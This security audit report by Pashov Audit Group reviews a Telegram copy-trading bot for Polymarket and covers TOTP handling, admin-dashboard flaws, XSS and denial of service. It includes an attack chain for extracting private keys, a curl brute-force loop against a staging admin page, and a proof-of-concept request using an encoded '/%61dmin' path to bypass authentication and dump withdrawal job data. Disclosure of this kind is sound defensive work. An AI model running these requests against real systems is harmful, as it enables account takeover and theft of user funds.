



Pashov Audit Group

Polygon Security Review

March 25th 2026 - March 31st 2026



Contents

1. About Pashov Audit Group	3
2. Disclaimer	3
3. Risk Classification	3
4. Methodology	4
5. About Polygun	4
6. Executive Summary	4
7. Findings	5
Medium findings	7
[M-01] TOTP reuse lock permanently fails BullMQ retry on bridge withdrawal	7
[M-02] Compound private key extraction via job data leak and wide TOTP window	8
Low findings	11
[L-01] Copy trade worker has 10000 concurrency and 10000 DB connection pool	11
[L-02] Fee transfer failures silently ignored in copy trading	11
[L-03] Limit order consumer uses token ID instead of amount for sell price calculation	12
[L-04] Session-stored 2FA code persists for up to 24 hours	13
[L-05] No rate limiting on admin authentication	13
[L-06] Database connection pool leak in deep link handler	14
[L-07] Admin log viewer broken by log directory structure mismatch	15
[L-08] Verified 2fa code not cleared on withdrawal cancel	15
[L-09] Bridge-withdraw queue retains TOTP codes and withdrawal signatures in plaintext	17
[L-10] TOTP validation uses encrypted ciphertext instead of decrypted secret	19
[L-11] Insufficient authentication control on admin dashboard	20
[L-12] Telegram webhook missing secret token verification	21
[L-13] Admin dashboard unprotected when password is not set	21
[L-14] Stored XSS via unescaped <code>innerHTML</code> in admin log viewer	22
[L-15] Slowloris DoS due to lack of connection rate limiting on Nginx servers	23



1. About Pashov Audit Group

Pashov Audit Group consists of 40+ freelance security researchers, who are well proven in the space - most have earned over \$100k in public contest rewards, are multi-time champions or have truly excelled in audits with us. We only work with proven and motivated talent.

With over 300 security audits completed — uncovering and helping patch thousands of vulnerabilities — the group strives to create the absolute very best audit journey possible. While 100% security is never possible to guarantee, we do guarantee you our team's best efforts for your project.

Check out our previous work [here](#) or reach out on Twitter [@pashovkrum](#).

2. Disclaimer

A smart contract security review can never verify the complete absence of vulnerabilities. This is a time, resource and expertise bound effort where we try to find as many vulnerabilities as possible. We can not guarantee 100% security after the review or even if the review will find any problems with your smart contracts. Subsequent security reviews, bug bounty programs and on-chain monitoring are strongly recommended.

3. Risk Classification

Severity	Impact: High	Impact: Medium	Impact: Low
Likelihood: High	Critical	High	Medium
Likelihood: Medium	High	Medium	Low
Likelihood: Low	Medium	Low	Low

Impact

- **High** - leads to a significant material loss of assets in the protocol or significantly harms a group of users
- **Medium** - leads to a moderate material loss of assets in the protocol or moderately harms a group of users
- **Low** - leads to a minor material loss of assets in the protocol or harms a small group of users

Likelihood

- **High** - attack path is possible with reasonable assumptions that mimic on-chain conditions, and the cost of the attack is relatively low compared to the amount of funds that can be stolen or lost
- **Medium** - only a conditionally incentivized attack vector, but still relatively likely
- **Low** - has too many or too unlikely assumptions or requires a significant stake by the attacker with little or no incentive



4. Methodology

Pashov Audit Group conducts each engagement as a team that works through the codebase end-to-end: we map the system, hunt for bugs, and then collaborate with the client to remediate the findings. This report tracks every commit reviewed, every finding raised, and the resolution status of each issue. Our auditors draw on experience from private engagements and public contests, and pick their own toolset per project — static analysis, fuzzers, formal verification, and AI-assisted review — based on what fits the codebase.

5. About Polygon

Polygon is a copy trading platform built on top of Polymarket that enables users to automatically mirror trades from key opinion leaders. It provides wallet management, limit orders, fee processing, referral tracking, and commission distribution for prediction market trading.

6. Executive Summary

A time-boxed security review of the `toantt208/polygon_audit` repository was done by Pashov Audit Group, during which `0xaudron`, `0xAlix2`, `defsec`, `0xrudra99`, `WarlordSam` engaged to review Polygon. A total of 17 issues were uncovered.

Protocol Summary

Project Name	Polygon
Protocol Type	Polymarket copy trading
Timeline	March 25th 2026 - March 31st 2026

Review commit hash:

- [42f1f1e8b72623b7e22098c9d445af7058fdf009](#)
(toantt208/polygon_audit)

Fixes review commit hash:

- [3cd6ba3f5afa13e77efbcfa9bf2bb74d51ac0297](#)
(toantt208/polygon_audit)

Scope

`commissions.ts` `copy-trading.ts` `deploy-safe.ts` `fee-transfers.ts` `index.ts`
`kol-promo.ts` `limit-orders.ts` `market-cache.ts` `referrals.ts` `schema.ts`
`temporary-wallets.ts` `users.ts` `wallets.ts`



7. Findings

Findings count

Severity	Amount
Medium	2
Low	15
Total findings	17

Summary of findings

ID	Title	Severity	Status
[M-01]	TOTP reuse lock permanently fails BullMQ retry on bridge withdrawal	Medium	Resolved
[M-02]	Compound private key extraction via job data leak and wide TOTP window	Medium	Resolved
[L-01]	Copy trade worker has 10000 concurrency and 10000 DB connection pool	Low	Resolved
[L-02]	Fee transfer failures silently ignored in copy trading	Low	Resolved
[L-03]	Limit order consumer uses token ID instead of amount for sell price calculation	Low	Resolved
[L-04]	Session-stored 2FA code persists for up to 24 hours	Low	Resolved
[L-05]	No rate limiting on admin authentication	Low	Resolved
[L-06]	Database connection pool leak in deep link handler	Low	Resolved
[L-07]	Admin log viewer broken by log directory structure mismatch	Low	Resolved
[L-08]	Verified 2fa code not cleared on withdrawal cancel	Low	Acknowledged
[L-09]	Bridge-withdraw queue retains TOTP codes and withdrawal signatures in plaintext	Low	Acknowledged
[L-10]	TOTP validation uses encrypted ciphertext instead of decrypted secret	Low	Resolved



ID	Title	Severity	Status
[L-11]	Insufficient authentication control on admin dashboard	Low	Resolved
[L-12]	Telegram webhook missing secret token verification	Low	Resolved
[L-13]	Admin dashboard unprotected when password is not set	Low	Resolved
[L-14]	Stored XSS via unescaped <code>innerHTML</code> in admin log viewer	Low	Resolved
[L-15]	Slowloris DoS due to lack of connection rate limiting on Nginx servers	Low	Resolved



Medium findings

[M-01] TOTP reuse lock permanently fails BullMQ retry on bridge withdrawal

Severity

Impact: Medium

Likelihood: Medium

Description

`bridge-withdraw` jobs are submitted with `attempts: 3` and exponential backoff to survive transient failures (network errors, Fun.xyz timeouts, Safe API blips). However, the worker sets a Redis reuse lock on the TOTP code during the **first attempt**. Every subsequent retry attempt finds the lock still set and immediately throws, permanently killing the job — making the retry configuration entirely ineffective.

Job is submitted with `attempts: 3` (`packages/telegram-ui-v2/src/handlers/withdrawal.ts`):

```
await bridgeWithdrawQueue.add('bridge-withdraw', {
  telegramId: ctx.from!.id.toString(),
  chatId: ctx.chat!.id,
  optionKey: ctx.session.withdrawForm.optionKey,
  destinationAddress: ctx.session.withdrawForm.destinationAddress!,
  amount: amount.toString(),
  safeAddress: user.gnosisSafeAddress,
  totpCode: ctx.session.verified2faCode!,
}, {
  jobId,
  attempts: 3,
  backoff: { type: 'exponential', delay: 5000 },
});
```

Worker sets the reuse lock on attempt 1 (`packages/queue/src/workers/bridge-withdraw.worker.ts`):

```
// Prevent TOTP code reuse (5 min TTL covers window:4 range)
const codeKey = `totp:used:${telegramId}:${totpCode}`;
const wasSet = await connection.set(codeKey, '1', 'EX', 300, 'NX');
if (!wasSet) {
  throw new Error('2FA code already used. Please wait for a new code.');
```

Retry timeline vs lock TTL:



The table outlines the sequence of events that occur during the processing of `bridge-withdraw` jobs, specifically focusing on the handling of the TOTP (Time-based One-Time Password) reuse lock. It highlights the impact of this lock on job retries when transient errors occur.

Initially, during **Attempt 1**, the job sets the `totp:used` variable with a time-to-live (TTL) of 300 seconds. However, this attempt fails due to a transient error, resulting in an elapsed time of 0 seconds.

In **Attempt 2**, the job encounters the issue of the `totp:used` variable still being present from the first attempt. Consequently, it throws an error immediately, with an elapsed time of approximately 5 seconds since the job was submitted.

Similarly, in **Attempt 3**, the job again finds the `totp:used` variable still set, leading to another immediate throw. At this point, the elapsed time is around 30 seconds.

Finally, the `totp:used` variable expires after 300 seconds, marking the end of its TTL. This sequence illustrates how the reuse lock on the TOTP code effectively prevents the job from successfully retrying, thereby rendering the retry configuration ineffective.

Attempts 2 and 3 never reach the bridge logic. The job is permanently marked as failed. The user completed 2FA and received a "Withdrawal Queued" confirmation message, but the transaction never executed.

A secondary risk occurs when attempt 1 succeeds on-chain but fails post-processing: the BullMQ retry then re-executes the bridge transaction, potentially causing a double bridge execution. Additionally, if the worker returns `{status: 'failed'}` without throwing, BullMQ may treat the job as completed rather than failed, preventing automatic retries entirely.

Recommendations

Consider moving the TOTP validation and lock set before enqueueing, validating the code in the UI handler (as a pre-condition for submission), and setting `totp:used` atomically at that point. The worker then does not need to re-validate or touch the reuse lock, so retries can proceed freely.

[M-02] Compound private key extraction via job data leak and wide TOTP window

Severity

Impact: Medium

Likelihood: Medium



Description

Three independently documented weaknesses can be chained into a single attack path that results in a full wallet takeover via private key export.

Exact chain:

1. Attacker bypasses admin auth
=> gains access to `/admin/jobs/search`
2. Attacker queries the withdrawal queue jobs
=> obtains victim telegramId + valid totpCode
3. Attacker spoofs webhook IP, or has access to victim's TG account (this does not grant him withdrawal authority, unless 2fa is validated)
=> forges Telegram updates as a victim
4. Attacker drives the private key export, then sends the harvested totpCode as text
5. The bot validates the TOTP code and sends the decrypted private key
=> attacker receives full access to the victim's wallet

The end result is not just a single unauthorized withdrawal — it is **full wallet compromise**. The attacker obtains the raw private key and can drain all funds at any time, on any chain.

Link A — Admin job search returns raw TOTP codes from withdrawal jobs (`apps/bot-v2/src/index.ts`):

```
await withdrawQueue.add('withdraw', {
  telegramId: user.telegramId,
  chatId: ctx.chat!.id,
  destinationAddress,
  amount,
  safeAddress,
  totpCode: ctx.session.verified2faCode!,
}, {
```

The `/admin/jobs/search` endpoint returns `data: job.data` without redaction, including for `waiting` and `active` statuses (`apps/bot-v2/src/index.ts`):

```
results.push({
  queue: queueName,
  id: job.id || '',
  status: await job.getState(),
  data: job.data,
  returnValue: job.returnValue,
```

Link B — The private key export flow accepts the same TOTP code. When `awaiting2faExportCode` is true, the bot validates any 6-digit input against the user's TOTP secret (`packages/telegram-ui-v2/src/handlers/two-factor-auth.ts`):

```
if (ctx.session.awaiting2faExportCode) {
  // ...
  const isValid = validateTOTPCode(decryptedSecret3, code);
```



```
if (!isValid) { /* reject */ }

// Code is valid - show private key directly
ctx.session.awaiting2faExportCode = false;
const wallet = await ctx.ensureWallet();
const privateKey = ctx.walletManager.getDecryptedPrivateKey(wallet);

const sentMessage = await ctx.reply(
  `🔑 <b>Your Private Key</b>\n\n` +
  `<tg-spoiler>${privateKey}</tg-spoiler>\n\n` +
```

The TOTP code leaked from the withdrawal job is the same time-based code the export flow validates. Since all TOTP validation for a given user derives from the same secret, a code harvested from one flow is valid in another — within the acceptance window.

Link C – The withdrawal worker uses a wide TOTP window, extending harvest opportunities.

(`packages/queue/src/workers/withdraw.worker.ts`):

```
// window: 4 allows codes from ~2 minutes before/after
const delta = totp.validate({ token: code, window: 4 });
```

The wide `window: 4` in the worker means TOTP codes remain in queue payloads for longer before being consumed, widening the race window for the attacker to harvest the code from `/admin/jobs/search` and replay it against the export flow. The export-side validation uses `window: 1` (~30 seconds), but the same TOTP code is valid for the full 30-second period in which it was generated.

Link D – One-time use lock does not protect the export flow. The Redis-based reuse prevention (`totp:used:${telegramId}:${totpCode}`) only exists in the withdrawal worker. The private key export flow in `two-factor-auth.ts` has no such lock — a code harvested from a withdrawal job can be used for export without conflict.

NB: Even if the admin bypass issue was fixed, the admin can still do this and extract all funds from users; he should not be able to do so, as all the private keys are encrypted in the database.

Recommendations

Consider removing `totpCode` from queue payloads, and perform TOTP verification synchronously before enqueueing the withdrawal job. The worker should receive a server-issued nonce or confirmation token, not the raw TOTP code. For additional security, consider tightening the withdrawal worker TOTP window, and reducing the `window` from `4` to `1`. Adjust queue processing latency expectations instead of widening the crypto window.



Low findings

[L-01] Copy trade worker has 10000 concurrency and 10000 DB connection pool

Description

The copy trade worker (`packages/queue/src/workers/copy-trade.worker.ts`) is configured with extreme resource limits:

Line 600: `concurrency: 10000` — allows 10,000 concurrent BullMQ jobs

Line 231: `createDbClient(config.databaseUrl, { max: 10000 })` — 10,000 database connection pools

For comparison, other workers use reasonable limits:

- `buy.worker.ts` : concurrency 50
- `sell.worker.ts` : concurrency 50
- `withdraw.worker.ts` : concurrency 5
- `bridge-withdraw.worker.ts` : concurrency 1
- `fee-transfer.worker.ts` : concurrency 100

If a leader with many followers makes a trade, this could spawn thousands of concurrent jobs, each opening a database connection. PostgreSQL's default `max_connections` is 100. Even with a generous configuration, 10,000 connections will exhaust the database, causing all queries across the entire system to hang or fail, including withdrawals, trading, and user authentication.

Recommendations

Reduce concurrency to a reasonable level:

```
// copy-trade.worker.ts
concurrency: 100, // Not 10,000
// ...
createDbClient(config.databaseUrl, { max: 50 }); // Not 10,000
```

[L-02] Fee transfer failures silently ignored in copy trading

Description

In the copy trading shared handler (`packages/queue/src/handlers/copy-trade/shared.ts:1192-1216`), fee transfers are queued with a `.catch(() => {})` that silently swallows all errors:



```
feeQueue.add(`copy-trade-fee-${Date.now()}`, {
  telegramId: followerTelegramId,
  // ... fee data
}).catch(() => {}); // Silent failure!
```

If the fee queue is full, Redis is down, or the job fails to enqueue for any reason, the copy trade proceeds but the fee is never collected. There is no retry mechanism, no alert, and no database record of the missed fee.

This is different from the standard trading flow where fee collection is tracked in the `fee_transfers` table and has error logging.

Recommendations

At a minimum, log the failure:

```
}).catch((err) => {
  logger.error('Failed to queue copy trade fee transfer', {
    followerTelegramId,
    feeAmount,
    error: err.message,
  });
});
```

[L-03] Limit order consumer uses token ID instead of amount for sell price calculation

Description

In `packages/queue/src/nats-consumers/limit-order.consumer.ts:177`, the sell-side USDC amount calculation uses `takerAssetId` (a token identifier/address string) instead of `takerAmountFilled` (the actual USDC amount):

```
// Line 177 - BUG
const usdcAmount = isBuy ? BigInt(makerAmountFilled) : BigInt(takerAssetId);
const sharesAmount = isBuy ? BigInt(takerAmountFilled) : BigInt(makerAmountFilled);
const fillPrice = sharesAmount > 0n ? (Number(usdcAmount) / Number(sharesAmount)) * 100 : 0;
```

`takerAssetId` is a token identifier (e.g., a long numeric condition token ID), not a USDC amount. When converted to `BigInt`, it produces an astronomically large number, making `fillPrice` wildly incorrect.

Recommendations

Fix the line:

```
const usdcAmount = isBuy ? BigInt(makerAmountFilled) : BigInt(takerAmountFilled);
```



[L-04] Session-stored 2FA code persists for up to 24 hours

Description

When a user verifies their 2FA code for withdrawal, the code is stored in the session (`two-factor-auth.ts:245`):

```
ctx.session.verified2faCode = code;
```

The session has a default TTL of 24 hours (`session/redis.ts:61`):

```
export function createRedisSession<T>(redisUrl: string, ttlSeconds: number = 86400) {
```

While the TOTP code itself has a short validity window (~2 minutes with `window: 4`), the `verified2faCode` session field is not cleared until:

- The withdrawal flow completes (`withdrawal.ts:539` — `finally` block)
- The session expires naturally (24 hours)
- `clear2faSessionState()` is called

If the withdrawal flow is interrupted (user closes app, network error, bot restart) after 2FA verification but before `executeWithdrawal` completes, the `verified2faCode` remains in the session indefinitely (up to 24 hours).

An attacker who gains access to the user's Telegram account during this window could:

1. See the cached withdrawal form in the session.
2. Trigger `withdraw_2fa_verified` callback directly.
3. The stale TOTP code would be sent to the worker.

The worker would likely reject the stale code (it is outside the 2-minute TOTP window), but this depends on the code reuse check and timing.

Recommendations

1. Clear `verified2faCode` immediately after it is consumed (not just in the `finally` block).
2. Add a timestamp to the verified code and reject it if it is older than 2 minutes.

[L-05] No rate limiting on admin authentication

Description

The Basic Auth implementation has no rate limiting, account lockout, or exponential backoff on failed authentication attempts. An attacker can perform unlimited password guessing attempts against the `/admin` endpoint.

**Evidence (live test):**

```
$ for i in $(seq 1 10); do
  code=$(curl -s -o /dev/null -w "%{http_code}" -u "wrong:wrong" 'https://
staging.polygon.xyz/admin')
  echo "Attempt $i: HTTP $code"
done

Attempt 1: HTTP 401
Attempt 2: HTTP 401
Attempt 3: HTTP 401
Attempt 4: HTTP 401
Attempt 5: HTTP 401
Attempt 6: HTTP 401
Attempt 7: HTTP 401
Attempt 8: HTTP 401
Attempt 9: HTTP 401
Attempt 10: HTTP 401
```

All 10 rapid requests were processed without any rate limiting, delay, or blocking. Combined with the default username `'admin'`, this reduces the attack to a single-factor (password) brute force.

The non-constant-time string comparison (`user !== adminUser || pass !== adminPass`) using JavaScript's `!==` operator could theoretically leak timing information, though in practice over TLS the timing difference is negligible (tested: ~ 1.265 s vs ~ 1.269 s).

Recommendations

1. Add rate limiting at the Nginx level: `limit_req_zone` with a low burst for `/admin` paths.
2. Implement account lockout: After 5 failed attempts from an IP, block for 15 minutes.
3. Add fail2ban or equivalent monitoring for repeated 401 responses.
4. Use constant-time comparison (`crypto.timingSafeEqual`) for credential validation as defense in depth.

[L-06] Database connection pool leak in deep link handler**Description**

Three deep link handlers in `apps/bot-v2/src/index.ts` (`ctm_`, `cts_`, `copytrade_`) each call `createDbClient(databaseUrl)` on every incoming request, creating a brand new database connection pool with 10 connections per call. These pools are never explicitly closed.

A module-level `dbClient` already exists and is used by all other handlers via middleware injection. The deep link handlers bypass this shared client and create their own.

While the `postgres` library's `idle_timeout: 20s` setting causes individual connections to close after 20 seconds of inactivity, the pool objects themselves remain in memory. Under burst traffic (e.g., a viral deep link shared in a Telegram group), 100 simultaneous clicks would



open 1,000 database connections before idle cleanup begins, potentially exhausting the database's connection limit and causing a denial of service for all bot operations including active trades and withdrawals.

Recommendations:

Consider using the existing `dbClient` from the outer scope instead of creating new pools:

```
// Instead of:
const dbClient = createDbClient(databaseUrl);
const copyTradingService = new CopyTradingService(dbClient);

// Use the existing shared client:
const copyTradingService = new CopyTradingService(dbClient);
```

[L-07] Admin log viewer broken by log directory structure mismatch

Description

The log viewer expects date directories (`YYYY-MM-DD`) directly under `LOGS_DIR` , but the logger writes files into a prefixed subdirectory:

```
// request-context.ts:55, 63 – actual write path
const logPrefix = options?.logPrefix || 'bots';
infoDir = path.join(LOGS_DIR, logPrefix, dateFolder, hourFolder, userId);
// @audit-info logs/bots/2026-03-31/09/<userId>/

// index.ts:2339 – viewer scans LOGS_DIR root for date directories
const dates = entries.filter(e => e.isDirectory() && /^d{4}-d{2}-d{2}$/.test(e.name));
```

Set the directory paths correctly for consistency and implementation.

[L-08] Verified 2fa code not cleared on withdrawal cancel

Description

When a user cancels a withdrawal via the `withdraw_cancel` callback (`apps/bot-v2/src/index.ts:1574-1580`), the handler clears the withdrawal form but does not clear the verified 2FA code:

```
bot.action('withdraw_cancel', async (ctx) => {
  await ctx.answerCbQuery();
  ctx.session.withdrawForm = undefined;
  ctx.session.awaitingWithdrawAddress = undefined;
  ctx.session.awaitingWithdrawAmount = undefined;
  await ctx.deleteMessage();
  // verified2faCode NOT cleared!
});
```

A `clear2faSessionState()` function exists in `two-factor-auth.ts:65-72` that properly clears `verified2faCode` , but it is not called here.



Similarly, the `executeWithdrawal()` finally block (`withdrawal.ts:538-542`) also does not clear `verified2faCode` :

```
finally {  
  delete ctx.session.withdrawForm;  
  ctx.session.awaitingWithdrawAddress = false;  
  ctx.session.awaitingWithdrawAmount = false;  
  // verified2faCode NOT cleared!  
}
```

This means after any completed or cancelled withdrawal, the TOTP code remains in the session (TTL: 24 hours). If the session is accessed again (e.g., phone left unlocked), the stale code could be used to initiate a new withdrawal without re-entering 2FA.

The TOTP validation window at the worker level (`window: 4` = ~2 minutes) limits the practical replay window, but the code reuse prevention key (`totp:used:${telegramId}:${totpCode}`) has a 5-minute TTL — after 5 minutes, the same code could be reused if it happens to still be valid.

Vulnerability Details

The `awaiting2faWithdrawCode` flag specifically is not cleared in the `withdraw_cancel` handler, causing subsequent user text messages to be intercepted by the 2FA input handler rather than the main command router for the duration of the session.

Recommendations

Call `clear2faSessionState(ctx)` in both locations:

```
// In withdraw_cancel handler:  
bot.action('withdraw_cancel', async (ctx) => {  
  await ctx.answerCbQuery();  
  clear2faSessionState(ctx);  
  ctx.session.withdrawForm = undefined;  
  // ...  
});  
  
// In executeWithdrawal() finally block:  
finally {  
  clear2faSessionState(ctx);  
  delete ctx.session.withdrawForm;  
  // ...  
}
```



[L-09] Bridge-withdraw queue retains TOTP codes and withdrawal signatures in plaintext

Description

The `bridge-withdraw` BullMQ queue retains completed withdrawal job payloads containing the full cryptographic authorization chain used to process cross-chain fund withdrawals. This data is accessible without authentication via the nginx authentication bypass and the job search endpoint.

Each completed job contains:

The `bridge-withdraw` BullMQ queue retains completed withdrawal job payloads that include sensitive information necessary for processing cross-chain fund withdrawals. This data is stored in plaintext and is accessible without authentication due to an nginx authentication bypass and the job search endpoint.

Each completed job contains several critical fields:

The **TOTP code** (`data.totpCode`) is a six-digit number used for withdrawal authorization, with examples including `639671` , `276006` , and `430608` . This code is essential for verifying the identity of the user initiating the withdrawal.

The **withdrawal signature** (`data.withdrawalSignature`) is a cryptographic signature that authorizes the withdrawal. An example of such a signature is `8ca361c055ea47c007c1373...` . This signature ensures that the transaction is legitimate and has been approved by the appropriate parties.

The **safe address** (`data.safeAddress`) is the Gnosis Safe that holds the user's funds, represented by addresses such as `0xadd6...4638` . This address is crucial for identifying where the funds are stored.

The **destination address** (`data.destinationAddress`) indicates the recipient of the funds, with examples like `0x778c...4Da5` . This address is where the withdrawn funds will be sent.

The **amount** (`data.amount`) specifies the withdrawal amount, which can range from `$4` to `$1,446.79` . This field indicates the value of the transaction being processed.

Lastly, the **option key** (`data.optionKey`) denotes the type of multi-chain withdrawal being executed, with examples such as `POLYGON_USDC` , `ETHEREUM_USDC` , and `BINANCE_USDC` . This key helps identify the specific cryptocurrency involved in the transaction.

The retention of this sensitive information in plaintext poses significant security risks, as unauthorized access could lead to fraudulent withdrawals and compromise user funds.

Source code: TOTP code passed directly from the user's session into BullMQ at `packages/telegram-ui-v2/src/handlers/withdrawal.ts:498` :



```
await bridgeWithdrawQueue.add('bridge-withdraw', {
  telegramId: ctx.from!.id.toString(),
  chatId: ctx.chat!.id,
  optionKey: ctx.session.withdrawForm.optionKey,
  destinationAddress: ctx.session.withdrawForm.destinationAddress!,
  amount: amount.toString(),
  safeAddress: user.gnosisSafeAddress,
  totpCode: ctx.session.verified2faCode!, // <-- plaintext TOTP in job data
}, { jobId, attempts: 3, ... });
```

The worker at `packages/queue/src/workers/bridge-withdraw.worker.ts:160` validates TOTP and enforces single-use via Redis `SET NX` with a 5-minute TTL. It is confirmed that TOTP codes are single-use. However:

1. **Pattern analysis:** 100 retained TOTP codes reveal timing patterns and code distribution
2. **Withdrawal signatures are persistent:** Unlike TOTP, `withdrawalSignature` does not expire
3. **Gnosis Safe addresses exposed:** All user Safe contract addresses revealed, enabling on-chain balance monitoring
4. **Cross-chain fund flow mapped:** Withdrawals span POLYGON_USDC, ETHEREUM_USDC, POLYGON_USDC_E, BINANCE_USDC

The `bridge-withdraw` queue additionally stores plaintext withdrawal signatures in `job.data` alongside TOTP codes, as confirmed by production extraction of 100 jobs containing both fields.

Vulnerability Details

TOTP codes in the `bridge-withdraw` queue persist in Redis for the full BullMQ job retention window, which may exceed the 300-second TOTP validity period. While expired codes cannot be replayed for authentication, their presence in historical job data reveals user withdrawal timing and behavior patterns.

Proof of Concept:

Bulk extraction (jobsPerPage=99999 bypasses pagination):

```
GET /%61dmin/queues/api/queues?activeQueue=bridge-
withdraw&status=completed&page=1&jobsPerPage=99999 HTTP/2
Host: `--HIDDEN--`

HTTP/2 200 OK
Content-Length: 119043

{
  "jobs": [{
    "data": {
      "telegramId": "122...00",
      "botId": "857...87",
      "optionKey": "POLYGON_USDC",
      "destinationAddress": "0x778c...4Da5",
      "amount": "4",
```



```
"safeAddress": "0xadd6...4638",
"totpCode": "639671",
"withdrawalSignature": "8ca361c055ea47...1373187b363d88ecc521aef...9aa8d34e0ee752"
},
"returnValue": {
  "status": "success",
  "txHash": "0x2b9c5e63...553069"
}
}, ... 99 more entries]
}
```

Largest withdrawal discovered:

```
Telegram ID: 505...38
Amount: $1,446.79
Destination: Solana (optionKey: BINANCE_USDC)
```

Impact

- **Consumed TOTP codes are visible** — while confirmed single use (replay blocked by Redis), patterns and timing of 100 retained codes are exposed.
- **Withdrawal signatures persist** — unlike TOTP, there is no time-based expiration; potential replay risk if Safe nonce management has vulnerabilities.
- **Complete withdrawal profiles**: \$15,000+ in visible withdrawal volume across 100 retained jobs, up to \$1,446.79 per withdrawal.
- **Cross-chain fund flows mapped**: All destination wallets and chain preferences are exposed.

Recommendations

- Strip TOTP codes and withdrawal signatures from job payloads after processing: process in memory only, never persist.
- Reduce `removeOnComplete` to 0 or 1 for the bridge-withdraw queue.
- Fix (nginx authentication bypass) — root cause of external access to queue data.
- Implement encryption at rest for BullMQ job data in Redis.

[L-10] TOTP validation uses encrypted ciphertext instead of decrypted secret

Description

Both withdrawal workers (`bridge-withdraw.worker.ts:160` and `withdraw.worker.ts:79`) call `validateTOTPCode(user.totpSecret, totpCode)` directly with the value returned from `findByTelegramId()` . However, the `totpSecret` field stored in the database and returned by `mapRowToUser()` (`users.ts:494`) is **AES-256-GCM encrypted ciphertext**, not the plaintext Base32 secret.



The correct implementation exists in `two-factor-auth.ts:164-165`, which explicitly decrypts before validating:

```
// CORRECT (two-factor-auth.ts:164-165)
const decryptedSecret = decryptTotpSecret(user.totpSecret, user.totpIv, user.totpAuthTag);
const isValid = validateTOTPCode(decryptedSecret, code);

// @audit (bridge-withdraw.worker.ts:160)
if (!totpCode || !validateTOTPCode(user.totpSecret, totpCode)) {
```

Recommendations

Both workers should decrypt the TOTP secret before validation.

[L-11] Insufficient authentication control on admin dashboard

Description

The admin dashboard at `/admin/*` is protected by HTTP Basic Authentication. While the server correctly enforces HTTPS via nginx 301 redirect (HTTP -> HTTPS), the authentication mechanism itself relies on Base64 encoding, which is **encoding, not encryption**.

The `Authorization` header sent with every authenticated request contains the credentials in a trivially reversible form.

While TLS protects the transport layer, Basic Auth has inherent weaknesses:

1. **Credentials sent with every request:** not a one-time token exchange. Any TLS interception proxy (corporate, debugging, misconfigured CDN) captures reusable credentials.
2. **No session management:** no expiry, no logout, no session invalidation. Credentials remain valid until the server-side password is rotated.
3. **Browser credential caching:** browsers cache Basic Auth credentials for the session and resend them automatically, including to same-origin requests that may not require authentication.
4. **No CSRF protection:** Basic Auth is automatically attached by browsers, making it vulnerable to cross-origin attacks.

Recommendations

1. Replace HTTP Basic Authentication with a proper session-based or token-based authentication mechanism (e.g., JWT with short-lived tokens, OAuth2, or a session cookie with `HttpOnly`, `Secure`, `SameSite=Strict` flags).
2. If Basic Authentication must remain temporarily, enforce IP allowlisting at the nginx level to restrict access to known audit/admin IPs.
3. Add CSRF protection headers/tokens for any state-modifying operations.



[L-12] Telegram webhook missing secret token verification

Description

The Telegram webhook is configured at `apps/bot-v2/src/index.ts` using:

```
await bot.telegram.setWebhook(`${config.WEBHOOK_DOMAIN}${secretPath}`);
```

The `setWebhook` call does not pass the `secret_token` parameter. When `secret_token` is set, Telegram includes an `X-Telegram-Bot-API-Secret-Token` header with every webhook delivery, allowing the server to verify that the request genuinely came from Telegram's servers, <https://core.telegram.org/bots/api#setwebhook>.

Currently, the webhook relies on two layers of protection:

1. **Secret path** — SHA-256 hash of the bot token (256-bit entropy, effectively unguessable)
2. **IP allowlist** — checks the source IP against Telegram's CIDR ranges (bypassable via another report)

Without `secret_token` verification, if an attacker obtains the webhook path, they can forge arbitrary Telegram updates and impersonate any user.

Recommendations

Consider adding `secret_token` to the `setWebhook` call, and validating it on every webhook delivery.

```
await bot.telegram.setWebhook(`${config.WEBHOOK_DOMAIN}${secretPath}`, {  
  secret_token: process.env.WEBHOOK_SECRET_TOKEN,  
});
```

[L-13] Admin dashboard unprotected when password is not set

Description

The admin Basic Auth hook in `apps/bot-v2/src/index.ts` is only registered when the `BULL_ADMIN_PASSWORD` environment variable is set:

```
const adminPass = process.env.BULL_ADMIN_PASSWORD;  
if (adminPass) {  
  app.addHook('onRequest', async (request, reply) => { })  
}
```

If the variable is missing or empty, the `if (adminPass)` check fails and the auth hook is never installed. All `/admin` routes become publicly accessible without any authentication.



Exposed endpoints include:

- `/admin/queues` — Bull Board dashboard showing all 18 queue states and job data
- `/admin/jobs/search` — searchable job payloads containing `telegramId`, `safeAddress`, `amount`, `destinationAddress`, and in approval queue jobs: plaintext `privateKey` and CLOB credentials
- `/admin/logs/*` and `/admin/errors/*` — server log files

Recommendations

Consider always installing the auth hook regardless of whether the password is set. If the password is missing, block all `/admin` routes with HTTP 403.

```
const adminPass = process.env.BULL_ADMIN_PASSWORD;
app.addHook('onRequest', async (request, reply) => {
  const url = request.url;
  if (!url.startsWith('/admin')) return;
  if (!adminPass) {
    return reply.code(403).send('Admin access disabled');
  }
  // ... existing Basic Auth logic
});
```

Apply a fail-safe startup design: if `BULL_ADMIN_PASSWORD` is absent from the environment at application startup, throw an error and refuse to start rather than conditionally registering the auth hook — eliminating any window where the variable could be unset in production.

[L-14] Stored XSS via unescaped `innerHTML` in admin log viewer

Description

There is a potential cross-site scripting attack in the admin log viewer which renders log content. It is injecting `JSON.stringify()` output directly into `innerHTML`.

`JSON.stringify` does not escape HTML metacharacters like angle brackets and passes through raw injected payload. The `escapeHtml()` helper is only invoked in the `catch` branch for non-JSON lines and all Pino-formatted log entries are valid JSON, so the safe path is never reached:

```
// index.ts:2782-2783
const obj = JSON.parse(line);
return '<div class="log-line ' + levelClass + '">' + JSON.stringify(obj, null, 2) + '</div>';
```

A payload can be written to logs by any bot user by sending a crafted message (e.g., a market search query). However, it is currently unexploitable due to #9 (Admin Log Viewer Broken by Log Directory Structure Mismatch). This becomes exploitable if the directory mismatch is fixed without addressing the `innerHTML` sinks. This would allow an attacker to have direct access to the bull-board as there is no CSP restriction for exfiltration either.



Vulnerability Details

Two distinct XSS sinks are present: (1) `r.file` value inserted directly into `innerHTML` in the file display component, and (2) `JSON.stringify()` output of log entries inserted into `innerHTML` in the log search results renderer.

Recommendations

Wrap all dynamic values with `escapeHtml()` before `innerHTML` assignment. The function needs to be called in the JSON branch:

```
return '<div class="log-line ' + levelClass + '">' + escapeHtml(JSON.stringify(obj, null, 2)) + '</div>';
```

[L-15] Slowloris DoS due to lack of connection rate limiting on Nginx servers

Description

The nginx servers do not enforce connection rate limits or client timeouts aggressively enough to prevent Slowloris-style denial of service attacks. An attacker can hold HTTP connections open by sending partial headers very slowly, consuming nginx worker connection slots.

Proof of Concept

```
